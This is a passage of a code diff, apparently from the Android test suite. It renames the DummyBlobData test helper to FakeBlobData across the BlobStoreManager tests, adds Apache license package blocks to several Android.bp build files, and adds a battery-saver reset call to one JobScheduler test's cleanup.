         try {
             final long sessionId = mBlobStoreManager.createSession(blobData.getBlobHandle());
@@ -151,7 +151,7 @@
 
     @Test
     public void testCreateBlobHandle_invalidArguments() throws Exception {
-        final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+        final FakeBlobData blobData = new FakeBlobData.Builder(mContext).build();
         blobData.prepare();
         final BlobHandle handle = blobData.getBlobHandle();
         try {
@@ -187,7 +187,7 @@
 
     @Test
     public void testAbandonSession() throws Exception {
-        final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+        final FakeBlobData blobData = new FakeBlobData.Builder(mContext).build();
         blobData.prepare();
         try {
             final long sessionId = mBlobStoreManager.createSession(blobData.getBlobHandle());
@@ -205,7 +205,7 @@
 
     @Test
     public void testOpenReadWriteSession() throws Exception {
-        final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+        final FakeBlobData blobData = new FakeBlobData.Builder(mContext).build();
         blobData.prepare();
         try {
             final long sessionId = mBlobStoreManager.createSession(blobData.getBlobHandle());
@@ -230,7 +230,7 @@
 
     @Test
     public void testOpenSession_fromAnotherPkg() throws Exception {
-        final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+        final FakeBlobData blobData = new FakeBlobData.Builder(mContext).build();
         blobData.prepare();
         try {
             final long sessionId = mBlobStoreManager.createSession(blobData.getBlobHandle());
@@ -256,7 +256,7 @@
 
     @Test
     public void testOpenSessionAndAbandon() throws Exception {
-        final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+        final FakeBlobData blobData = new FakeBlobData.Builder(mContext).build();
         blobData.prepare();
         try {
             final long sessionId = mBlobStoreManager.createSession(blobData.getBlobHandle());
@@ -283,7 +283,7 @@
 
     @Test
     public void testCloseSession() throws Exception {
-        final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+        final FakeBlobData blobData = new FakeBlobData.Builder(mContext).build();
         blobData.prepare();
         try {
             final long sessionId = mBlobStoreManager.createSession(blobData.getBlobHandle());
@@ -322,7 +322,7 @@
 
     @Test
     public void testAllowPublicAccess() throws Exception {
-        final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+        final FakeBlobData blobData = new FakeBlobData.Builder(mContext).build();
         blobData.prepare();
         try {
             final long sessionId = mBlobStoreManager.createSession(blobData.getBlobHandle());
@@ -343,7 +343,7 @@
 
     @Test
     public void testAllowPublicAccess_abandonedSession() throws Exception {
-        final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+        final FakeBlobData blobData = new FakeBlobData.Builder(mContext).build();
         blobData.prepare();
         try {
             final long sessionId = mBlobStoreManager.createSession(blobData.getBlobHandle());
@@ -366,7 +366,7 @@
 
     @Test
     public void testAllowSameSignatureAccess() throws Exception {
-        final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+        final FakeBlobData blobData = new FakeBlobData.Builder(mContext).build();
         blobData.prepare();
         try {
             final long sessionId = mBlobStoreManager.createSession(blobData.getBlobHandle());
@@ -387,7 +387,7 @@
 
     @Test
     public void testAllowSameSignatureAccess_abandonedSession() throws Exception {
-        final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+        final FakeBlobData blobData = new FakeBlobData.Builder(mContext).build();
         blobData.prepare();
         try {
             final long sessionId = mBlobStoreManager.createSession(blobData.getBlobHandle());
@@ -410,7 +410,7 @@
 
     @Test
     public void testAllowPackageAccess() throws Exception {
-        final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+        final FakeBlobData blobData = new FakeBlobData.Builder(mContext).build();
         blobData.prepare();
         try {
             final long sessionId = mBlobStoreManager.createSession(blobData.getBlobHandle());
@@ -432,7 +432,7 @@
 
     @Test
     public void testAllowPackageAccess_allowMultiple() throws Exception {
-        final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+        final FakeBlobData blobData = new FakeBlobData.Builder(mContext).build();
         blobData.prepare();
         try {
             final long sessionId = mBlobStoreManager.createSession(blobData.getBlobHandle());
@@ -457,7 +457,7 @@
 
     @Test
     public void testAllowPackageAccess_abandonedSession() throws Exception {
-        final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+        final FakeBlobData blobData = new FakeBlobData.Builder(mContext).build();
         blobData.prepare();
         try {
             final long sessionId = mBlobStoreManager.createSession(blobData.getBlobHandle());
@@ -483,7 +483,7 @@
 
     @Test
     public void testPrivateAccess() throws Exception {
-        final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+        final FakeBlobData blobData = new FakeBlobData.Builder(mContext).build();
         blobData.prepare();
         final TestServiceConnection connection1 = bindToHelperService(HELPER_PKG);
         final TestServiceConnection connection2 = bindToHelperService(HELPER_PKG2);
@@ -517,7 +517,7 @@
 
     @Test
     public void testMixedAccessType() throws Exception {
-        final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+        final FakeBlobData blobData = new FakeBlobData.Builder(mContext).build();
         blobData.prepare();
         try {
             final long sessionId = mBlobStoreManager.createSession(blobData.getBlobHandle());
@@ -542,7 +542,7 @@
 
     @Test
     public void testMixedAccessType_fromMultiplePackages() throws Exception {
-        final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+        final FakeBlobData blobData = new FakeBlobData.Builder(mContext).build();
         blobData.prepare();
         final TestServiceConnection connection1 = bindToHelperService(HELPER_PKG);
         final TestServiceConnection connection2 = bindToHelperService(HELPER_PKG2);
@@ -579,7 +579,7 @@
 
     @Test
     public void testSessionCommit() throws Exception {
-        final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+        final FakeBlobData blobData = new FakeBlobData.Builder(mContext).build();
         blobData.prepare();
         try {
             final long sessionId = mBlobStoreManager.createSession(blobData.getBlobHandle());
@@ -607,7 +607,7 @@
 
     @Test
     public void testSessionCommit_incompleteData() throws Exception {
-        final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+        final FakeBlobData blobData = new FakeBlobData.Builder(mContext).build();
         blobData.prepare();
         try {
             final long sessionId = mBlobStoreManager.createSession(blobData.getBlobHandle());
@@ -626,7 +626,7 @@
 
     @Test
     public void testSessionCommit_incorrectData() throws Exception {
-        final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+        final FakeBlobData blobData = new FakeBlobData.Builder(mContext).build();
         blobData.prepare();
         try {
             final long sessionId = mBlobStoreManager.createSession(blobData.getBlobHandle());
@@ -649,7 +649,7 @@
 
     @Test
     public void testRecommitBlob() throws Exception {
-        final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+        final FakeBlobData blobData = new FakeBlobData.Builder(mContext).build();
         blobData.prepare();
 
         try {
@@ -673,7 +673,7 @@
 
     @Test
     public void testRecommitBlob_fromMultiplePackages() throws Exception {
-        final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+        final FakeBlobData blobData = new FakeBlobData.Builder(mContext).build();
         blobData.prepare();
         final TestServiceConnection connection = bindToHelperService(HELPER_PKG);
         try {
@@ -701,7 +701,7 @@
     public void testSessionCommit_largeBlob() throws Exception {
         final long fileSizeBytes = Math.min(mBlobStoreManager.getRemainingLeaseQuotaBytes(),
                 150 * 1024L * 1024L);
-        final DummyBlobData blobData = new DummyBlobData.Builder(mContext)
+        final FakeBlobData blobData = new FakeBlobData.Builder(mContext)
                 .setFileSize(fileSizeBytes)
                 .build();
         blobData.prepare();
@@ -740,7 +740,7 @@
             completableFutures[i] = CompletableFuture.supplyAsync(() -> {
                 final int minSizeMb = 30;
                 final long fileSizeBytes = (minSizeMb + random.nextInt(minSizeMb)) * 1024L * 1024L;
-                final DummyBlobData blobData = new DummyBlobData.Builder(mContext)
+                final FakeBlobData blobData = new FakeBlobData.Builder(mContext)
                         .setFileSize(fileSizeBytes)
                         .build();
                 try {
@@ -774,7 +774,7 @@
             completableFutures[i] = CompletableFuture.supplyAsync(() -> {
                 final int minSizeMb = 30;
                 final long fileSizeBytes = (minSizeMb + random.nextInt(minSizeMb)) * 1024L * 1024L;
-                final DummyBlobData blobData = new DummyBlobData.Builder(mContext)
+                final FakeBlobData blobData = new FakeBlobData.Builder(mContext)
                         .setFileSize(fileSizeBytes)
                         .build();
                 try {
@@ -824,7 +824,7 @@
 
     @Test
     public void testOpenBlob() throws Exception {
-        final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+        final FakeBlobData blobData = new FakeBlobData.Builder(mContext).build();
         blobData.prepare();
         try {
             final long sessionId = mBlobStoreManager.createSession(blobData.getBlobHandle());
@@ -858,7 +858,7 @@
 
     @Test
     public void testAcquireReleaseLease() throws Exception {
-        final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+        final FakeBlobData blobData = new FakeBlobData.Builder(mContext).build();
         blobData.prepare();
         try {
             final long sessionId = mBlobStoreManager.createSession(blobData.getBlobHandle());
@@ -893,8 +893,8 @@
 
     @Test
     public void testAcquireLease_multipleLeases() throws Exception {
-        final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
-        final DummyBlobData blobData2 = new DummyBlobData.Builder(mContext)
+        final FakeBlobData blobData = new FakeBlobData.Builder(mContext).build();
+        final FakeBlobData blobData2 = new FakeBlobData.Builder(mContext)
                 .setRandomSeed(42)
                 .build();
         blobData.prepare();
@@ -926,7 +926,7 @@
 
     @Test
     public void testAcquireLease_leaseExpired() throws Exception {
-        final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+        final FakeBlobData blobData = new FakeBlobData.Builder(mContext).build();
         blobData.prepare();
         final long waitDurationMs = TimeUnit.SECONDS.toMillis(2);
         try {
@@ -947,7 +947,7 @@
     public void testAcquireRelease_deleteAfterDelay() throws Exception {
         final long waitDurationMs = TimeUnit.SECONDS.toMillis(1);
         runWithKeyValues(() -> {
-            final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+            final FakeBlobData blobData = new FakeBlobData.Builder(mContext).build();
             blobData.prepare();
             try {
                 commitBlob(blobData);
@@ -978,7 +978,7 @@
 
     @Test
     public void testAcquireReleaseLease_invalidArguments() throws Exception {
-        final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+        final FakeBlobData blobData = new FakeBlobData.Builder(mContext).build();
         blobData.prepare();
         try {
             assertThrows(NullPointerException.class, () -> mBlobStoreManager.acquireLease(
@@ -1000,7 +1000,7 @@
 
     @Test
     public void testStorageAttributedToSelf() throws Exception {
-        final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+        final FakeBlobData blobData = new FakeBlobData.Builder(mContext).build();
         blobData.prepare();
         final long partialFileSize = 3373L;
 
@@ -1086,7 +1086,7 @@
 
     @Test
     public void testStorageAttribution_acquireLease() throws Exception {
-        final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+        final FakeBlobData blobData = new FakeBlobData.Builder(mContext).build();
         blobData.prepare();
 
         final StorageStatsManager storageStatsManager = mContext.getSystemService(
@@ -1164,7 +1164,7 @@
 
     @Test
     public void testStorageAttribution_withExpiredLease() throws Exception {
-        final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+        final FakeBlobData blobData = new FakeBlobData.Builder(mContext).build();
         blobData.prepare();
 
         final StorageStatsManager storageStatsManager = mContext.getSystemService(
@@ -1227,7 +1227,7 @@
         runWithKeyValues(() -> {
             final LongSparseArray<BlobHandle> blobs = new LongSparseArray<>();
             for (long blobSize : new long[] {20L, 30L, 40L}) {
-                final DummyBlobData blobData = new DummyBlobData.Builder(mContext)
+                final FakeBlobData blobData = new FakeBlobData.Builder(mContext)
                         .setFileSize(blobSize * Utils.MB_IN_BYTES)
                         .build();
                 blobData.prepare();
@@ -1238,7 +1238,7 @@
                 blobs.put(blobSize, blobData.getBlobHandle());
             }
             final long blobSize = 40L;
-            final DummyBlobData blobData = new DummyBlobData.Builder(mContext)
+            final FakeBlobData blobData = new FakeBlobData.Builder(mContext)
                     .setFileSize(blobSize * Utils.MB_IN_BYTES)
                     .build();
             blobData.prepare();
@@ -1263,7 +1263,7 @@
         final long totalBytes = Environment.getDataDirectory().getTotalSpace();
         final long limitBytes = 50 * Utils.MB_IN_BYTES;
         runWithKeyValues(() -> {
-            final DummyBlobData blobData = new DummyBlobData.Builder(mContext)
+            final FakeBlobData blobData = new FakeBlobData.Builder(mContext)
                     .setFileSize(limitBytes + (5 * Utils.MB_IN_BYTES))
                     .build();
             blobData.prepare();
@@ -1281,11 +1281,11 @@
         final long limitBytes = 50 * Utils.MB_IN_BYTES;
         final long waitDurationMs = TimeUnit.SECONDS.toMillis(2);
         runWithKeyValues(() -> {
-            final DummyBlobData blobData1 = new DummyBlobData.Builder(mContext)
+            final FakeBlobData blobData1 = new FakeBlobData.Builder(mContext)
                     .setFileSize(40 * Utils.MB_IN_BYTES)
                     .build();
             blobData1.prepare();
-            final DummyBlobData blobData2 = new DummyBlobData.Builder(mContext)
+            final FakeBlobData blobData2 = new FakeBlobData.Builder(mContext)
                     .setFileSize(30 * Utils.MB_IN_BYTES)
                     .build();
             blobData2.prepare();
@@ -1309,7 +1309,7 @@
     public void testRemainingLeaseQuota() throws Exception {
         final long initialRemainingQuota = mBlobStoreManager.getRemainingLeaseQuotaBytes();
         final long blobSize = 100 * Utils.MB_IN_BYTES;
-        final DummyBlobData blobData = new DummyBlobData.Builder(mContext)
+        final FakeBlobData blobData = new FakeBlobData.Builder(mContext)
                 .setFileSize(blobSize)
                 .build();
         blobData.prepare();
@@ -1333,7 +1333,7 @@
     public void testRemainingLeaseQuota_withExpiredLease() throws Exception {
         final long initialRemainingQuota = mBlobStoreManager.getRemainingLeaseQuotaBytes();
         final long blobSize = 100 * Utils.MB_IN_BYTES;
-        final DummyBlobData blobData = new DummyBlobData.Builder(mContext)
+        final FakeBlobData blobData = new FakeBlobData.Builder(mContext)
                 .setFileSize(blobSize)
                 .build();
         blobData.prepare();
@@ -1357,7 +1357,7 @@
     @Test
     public void testAccessExpiredBlob() throws Exception {
         final long expiryDurationMs = TimeUnit.SECONDS.toMillis(6);
-        final DummyBlobData blobData = new DummyBlobData.Builder(mContext)
+        final FakeBlobData blobData = new FakeBlobData.Builder(mContext)
                 .setExpiryDurationMs(expiryDurationMs)
                 .build();
         blobData.prepare();
@@ -1382,7 +1382,7 @@
     @Test
     public void testAccessExpiredBlob_withLeaseAcquired() throws Exception {
         final long expiryDurationMs = TimeUnit.SECONDS.toMillis(6);
-        final DummyBlobData blobData = new DummyBlobData.Builder(mContext)
+        final FakeBlobData blobData = new FakeBlobData.Builder(mContext)
                 .setExpiryDurationMs(expiryDurationMs)
                 .build();
         blobData.prepare();
@@ -1410,7 +1410,7 @@
         final long leaseExpiryDurationMs = TimeUnit.SECONDS.toMillis(2);
         final long leaseAcquisitionWaitDurationMs = TimeUnit.SECONDS.toMillis(1);
         runWithKeyValues(() -> {
-            final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+            final FakeBlobData blobData = new FakeBlobData.Builder(mContext).build();
             blobData.prepare();
             try {
                 final long blobId = commitBlob(blobData);
@@ -1441,7 +1441,7 @@
 
     @Test
     public void testCommitBlobAfterIdleMaintenance() throws Exception {
-        final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+        final FakeBlobData blobData = new FakeBlobData.Builder(mContext).build();
         blobData.prepare();
         final long waitDurationMs = TimeUnit.SECONDS.toMillis(2);
         final long partialFileSize = 100L;
@@ -1468,7 +1468,7 @@
     public void testExpiredSessionsDeleted() throws Exception {
         final long waitDurationMs = TimeUnit.SECONDS.toMillis(2);
         runWithKeyValues(() -> {
-            final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+            final FakeBlobData blobData = new FakeBlobData.Builder(mContext).build();
             blobData.prepare();
 
             final long sessionId = mBlobStoreManager.createSession(blobData.getBlobHandle());
@@ -1487,7 +1487,7 @@
     public void testExpiredSessionsDeleted_withPartialData() throws Exception {
         final long waitDurationMs = TimeUnit.SECONDS.toMillis(2);
         runWithKeyValues(() -> {
-            final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+            final FakeBlobData blobData = new FakeBlobData.Builder(mContext).build();
             blobData.prepare();
 
             final long sessionId = mBlobStoreManager.createSession(blobData.getBlobHandle());
@@ -1509,9 +1509,9 @@
     @Test
     public void testCreateSession_countLimitExceeded() throws Exception {
         runWithKeyValues(() -> {
-            final DummyBlobData blobData1 = new DummyBlobData.Builder(mContext).build();
+            final FakeBlobData blobData1 = new FakeBlobData.Builder(mContext).build();
             blobData1.prepare();
-            final DummyBlobData blobData2 = new DummyBlobData.Builder(mContext).build();
+            final FakeBlobData blobData2 = new FakeBlobData.Builder(mContext).build();
             blobData2.prepare();
 
             mBlobStoreManager.createSession(blobData1.getBlobHandle());
@@ -1523,9 +1523,9 @@
     @Test
     public void testCommitSession_countLimitExceeded() throws Exception {
         runWithKeyValues(() -> {
-            final DummyBlobData blobData1 = new DummyBlobData.Builder(mContext).build();
+            final FakeBlobData blobData1 = new FakeBlobData.Builder(mContext).build();
             blobData1.prepare();
-            final DummyBlobData blobData2 = new DummyBlobData.Builder(mContext).build();
+            final FakeBlobData blobData2 = new FakeBlobData.Builder(mContext).build();
             blobData2.prepare();
 
             commitBlob(blobData1, null /* accessModifier */, true /* expectSuccess */);
@@ -1536,9 +1536,9 @@
     @Test
     public void testLeaseBlob_countLimitExceeded() throws Exception {
         runWithKeyValues(() -> {
-            final DummyBlobData blobData1 = new DummyBlobData.Builder(mContext).build();
+            final FakeBlobData blobData1 = new FakeBlobData.Builder(mContext).build();
             blobData1.prepare();
-            final DummyBlobData blobData2 = new DummyBlobData.Builder(mContext).build();
+            final FakeBlobData blobData2 = new FakeBlobData.Builder(mContext).build();
             blobData2.prepare();
 
             commitBlob(blobData1);
@@ -1553,11 +1553,11 @@
     @Test
     public void testExpiredLease_countLimitExceeded() throws Exception {
         runWithKeyValues(() -> {
-            final DummyBlobData blobData1 = new DummyBlobData.Builder(mContext).build();
+            final FakeBlobData blobData1 = new FakeBlobData.Builder(mContext).build();
             blobData1.prepare();
-            final DummyBlobData blobData2 = new DummyBlobData.Builder(mContext).build();
+            final FakeBlobData blobData2 = new FakeBlobData.Builder(mContext).build();
             blobData2.prepare();
-            final DummyBlobData blobData3 = new DummyBlobData.Builder(mContext).build();
+            final FakeBlobData blobData3 = new FakeBlobData.Builder(mContext).build();
             blobData3.prepare();
             final long waitDurationMs = TimeUnit.SECONDS.toMillis(2);
 
@@ -1583,7 +1583,7 @@
     @Test
     public void testAllowPackageAccess_countLimitExceeded() throws Exception {
         runWithKeyValues(() -> {
-            final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+            final FakeBlobData blobData = new FakeBlobData.Builder(mContext).build();
             blobData.prepare();
 
             final long sessionId = mBlobStoreManager.createSession(blobData.getBlobHandle());
@@ -1604,45 +1604,45 @@
         // and tag are equal.
         {
             final BlobHandle blobHandle1 = BlobHandle.createWithSha256("digest".getBytes(),
-                    "Dummy blob", 1111L, "tag");
+                    "Fake blob", 1111L, "tag");
             final BlobHandle blobHandle2 = BlobHandle.createWithSha256("digest".getBytes(),
-                    "Dummy blob", 1111L, "tag");
+                    "Fake blob", 1111L, "tag");
             assertThat(blobHandle1).isEqualTo(blobHandle2);
         }
 
         // Check that BlobHandle objects are not equal if digests are not equal.
         {
             final BlobHandle blobHandle1 = BlobHandle.createWithSha256("digest1".getBytes(),
-                    "Dummy blob", 1111L, "tag");
+                    "Fake blob", 1111L, "tag");
             final BlobHandle blobHandle2 = BlobHandle.createWithSha256("digest2".getBytes(),
-                    "Dummy blob", 1111L, "tag");
+                    "Fake blob", 1111L, "tag");
             assertThat(blobHandle1).isNotEqualTo(blobHandle2);
         }
 
         // Check that BlobHandle objects are not equal if expiry times are not equal.
         {
             final BlobHandle blobHandle1 = BlobHandle.createWithSha256("digest".getBytes(),
-                    "Dummy blob", 1111L, "tag");
+                    "Fake blob", 1111L, "tag");
             final BlobHandle blobHandle2 = BlobHandle.createWithSha256("digest".getBytes(),
-                    "Dummy blob", 1112L, "tag");
+                    "Fake blob", 1112L, "tag");
             assertThat(blobHandle1).isNotEqualTo(blobHandle2);
         }
 
         // Check that BlobHandle objects are not equal if labels are not equal.
         {
             final BlobHandle blobHandle1 = BlobHandle.createWithSha256("digest".getBytes(),
-                    "Dummy blob1", 1111L, "tag");
+                    "Fake blob1", 1111L, "tag");
             final BlobHandle blobHandle2 = BlobHandle.createWithSha256("digest".getBytes(),
-                    "Dummy blob2", 1111L, "tag");
+                    "Fake blob2", 1111L, "tag");
             assertThat(blobHandle1).isNotEqualTo(blobHandle2);
         }
 
         // Check that BlobHandle objects are not equal if tags are not equal.
         {
             final BlobHandle blobHandle1 = BlobHandle.createWithSha256("digest".getBytes(),
-                    "Dummy blob", 1111L, "tag1");
+                    "Fake blob", 1111L, "tag1");
             final BlobHandle blobHandle2 = BlobHandle.createWithSha256("digest".getBytes(),
-                    "Dummy blob", 1111L, "tag2");
+                    "Fake blob", 1111L, "tag2");
             assertThat(blobHandle1).isNotEqualTo(blobHandle2);
         }
     }
@@ -1698,7 +1698,7 @@
         }
     }
 
-    private void commitAndVerifyBlob(DummyBlobData blobData) throws Exception {
+    private void commitAndVerifyBlob(FakeBlobData blobData) throws Exception {
         commitBlob(blobData);
 
         // Verify that blob can be accessed after committing.
@@ -1708,16 +1708,16 @@
         }
     }
 
-    private long commitBlob(DummyBlobData blobData) throws Exception {
+    private long commitBlob(FakeBlobData blobData) throws Exception {
         return commitBlob(blobData, null);
     }
 
-    private long commitBlob(DummyBlobData blobData,
+    private long commitBlob(FakeBlobData blobData,
             AccessModifier accessModifier) throws Exception {
         return commitBlob(blobData, accessModifier, true /* expectSuccess */);
     }
 
-    private long commitBlob(DummyBlobData blobData,
+    private long commitBlob(FakeBlobData blobData,
             AccessModifier accessModifier, boolean expectSuccess) throws Exception {
         final long sessionId = mBlobStoreManager.createSession(blobData.getBlobHandle());
         assertThat(sessionId).isGreaterThan(0L);
@@ -1754,12 +1754,12 @@
         void modify(BlobStoreManager.Session session) throws Exception;
     }
 
-    private void commitBlobFromPkg(DummyBlobData blobData, TestServiceConnection serviceConnection)
+    private void commitBlobFromPkg(FakeBlobData blobData, TestServiceConnection serviceConnection)
             throws Exception {
         commitBlobFromPkg(blobData, ICommandReceiver.FLAG_ACCESS_TYPE_PRIVATE, serviceConnection);
     }
 
-    private void commitBlobFromPkg(DummyBlobData blobData, int accessTypeFlags,
+    private void commitBlobFromPkg(FakeBlobData blobData, int accessTypeFlags,
             TestServiceConnection serviceConnection) throws Exception {
         final ICommandReceiver commandReceiver = serviceConnection.getCommandReceiver();
         try (ParcelFileDescriptor pfd = blobData.openForRead()) {
@@ -1779,7 +1779,7 @@
         }
     }
 
-    private void assertPkgCanAccess(DummyBlobData blobData, String pkg) throws Exception {
+    private void assertPkgCanAccess(FakeBlobData blobData, String pkg) throws Exception {
         final TestServiceConnection serviceConnection = bindToHelperService(pkg);
         try {
             assertPkgCanAccess(blobData, serviceConnection);
@@ -1788,7 +1788,7 @@
         }
     }
 
-    private void assertPkgCanAccess(DummyBlobData blobData,
+    private void assertPkgCanAccess(FakeBlobData blobData,
             TestServiceConnection serviceConnection) throws Exception {
         final ICommandReceiver commandReceiver = serviceConnection.getCommandReceiver();
         commandReceiver.acquireLease(blobData.getBlobHandle());
@@ -1798,7 +1798,7 @@
         }
     }
 
-    private void assertPkgCannotAccess(DummyBlobData blobData, String pkg) throws Exception {
+    private void assertPkgCannotAccess(FakeBlobData blobData, String pkg) throws Exception {
         final TestServiceConnection serviceConnection = bindToHelperService(pkg);
         try {
             assertPkgCannotAccess(blobData, serviceConnection);
@@ -1807,7 +1807,7 @@
         }
     }
 
-    private void assertPkgCannotAccess(DummyBlobData blobData,
+    private void assertPkgCannotAccess(FakeBlobData blobData,
         TestServiceConnection serviceConnection) throws Exception {
         final ICommandReceiver commandReceiver = serviceConnection.getCommandReceiver();
         assertThrows(SecurityException.class,
diff --git a/tests/DropBoxManager/Android.bp b/tests/DropBoxManager/Android.bp
index f13b0fe..0c863cf 100644
--- a/tests/DropBoxManager/Android.bp
+++ b/tests/DropBoxManager/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsDropBoxManagerTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/JobScheduler/Android.bp b/tests/JobScheduler/Android.bp
index e747694..9465126 100644
--- a/tests/JobScheduler/Android.bp
+++ b/tests/JobScheduler/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsJobSchedulerTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/JobScheduler/JobTestApp/Android.bp b/tests/JobScheduler/JobTestApp/Android.bp
index 6985b18..e1f3053 100644
--- a/tests/JobScheduler/JobTestApp/Android.bp
+++ b/tests/JobScheduler/JobTestApp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJobTestApp",
     defaults: ["cts_defaults"],
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/JobThrottlingTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/JobThrottlingTest.java
index c449af8..548128c 100644
--- a/tests/JobScheduler/src/android/jobscheduler/cts/JobThrottlingTest.java
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/JobThrottlingTest.java
@@ -514,6 +514,7 @@
             toggleDeviceIdleState(false);
         }
         mTestAppInterface.cleanup();
+        BatteryUtils.runDumpsysBatterySaverOff();
         BatteryUtils.runDumpsysBatteryReset();
         BatteryUtils.enableBatterySaver(false);
         removeTestAppFromTempWhitelist();
diff --git a/tests/JobSchedulerSharedUid/Android.bp b/tests/JobSchedulerSharedUid/Android.bp
index b08b072..ee30d75 100644
--- a/tests/JobSchedulerSharedUid/Android.bp
+++ b/tests/JobSchedulerSharedUid/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsJobSchedulerSharedUidTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/JobSchedulerSharedUid/JobSharedUidTestApp/Android.bp b/tests/JobSchedulerSharedUid/JobSharedUidTestApp/Android.bp
index a849c0a..252a6bb 100644
--- a/tests/JobSchedulerSharedUid/JobSharedUidTestApp/Android.bp
+++ b/tests/JobSchedulerSharedUid/JobSharedUidTestApp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJobSharedUidTestApp",
     defaults: ["cts_defaults"],
diff --git a/tests/JobSchedulerSharedUid/jobperm/Android.bp b/tests/JobSchedulerSharedUid/jobperm/Android.bp
index 1032247..8b497bf 100644
--- a/tests/JobSchedulerSharedUid/jobperm/Android.bp
+++ b/tests/JobSchedulerSharedUid/jobperm/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJobSchedulerJobPerm",
     defaults: ["cts_defaults"],
diff --git a/tests/JobSchedulerSharedUid/shareduid/Android.bp b/tests/JobSchedulerSharedUid/shareduid/Android.bp
index b3a23dc..8ea69f0 100644
--- a/tests/JobSchedulerSharedUid/shareduid/Android.bp
+++ b/tests/JobSchedulerSharedUid/shareduid/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJobSchedulerSharedUid",
     defaults: ["cts_defaults"],
diff --git a/tests/ProcessTest/Android.bp b/tests/ProcessTest/Android.bp
index 81e1efe..a0c7de5 100644
--- a/tests/ProcessTest/Android.bp
+++ b/tests/ProcessTest/Android.bp
@@ -13,6 +13,10 @@
 // limitations under the License.
 
 // TODO: should it be android_helper_test_app?
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "ProcessTests",
     defaults: ["cts_defaults"],
diff --git a/tests/ProcessTest/NoShareUidApp/Android.bp b/tests/ProcessTest/NoShareUidApp/Android.bp
index 1d11c3e..e5582de 100644
--- a/tests/ProcessTest/NoShareUidApp/Android.bp
+++ b/tests/ProcessTest/NoShareUidApp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "NoShareUidApp",
     defaults: ["cts_defaults"],
diff --git a/tests/ProcessTest/ShareUidApp/Android.bp b/tests/ProcessTest/ShareUidApp/Android.bp
index 7dc727e..9457f14 100644
--- a/tests/ProcessTest/ShareUidApp/Android.bp
+++ b/tests/ProcessTest/ShareUidApp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "ShareUidApp",
     defaults: ["cts_defaults"],
diff --git a/tests/acceleration/Android.bp b/tests/acceleration/Android.bp
index a5e4027..51911f9 100644
--- a/tests/acceleration/Android.bp
+++ b/tests/acceleration/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
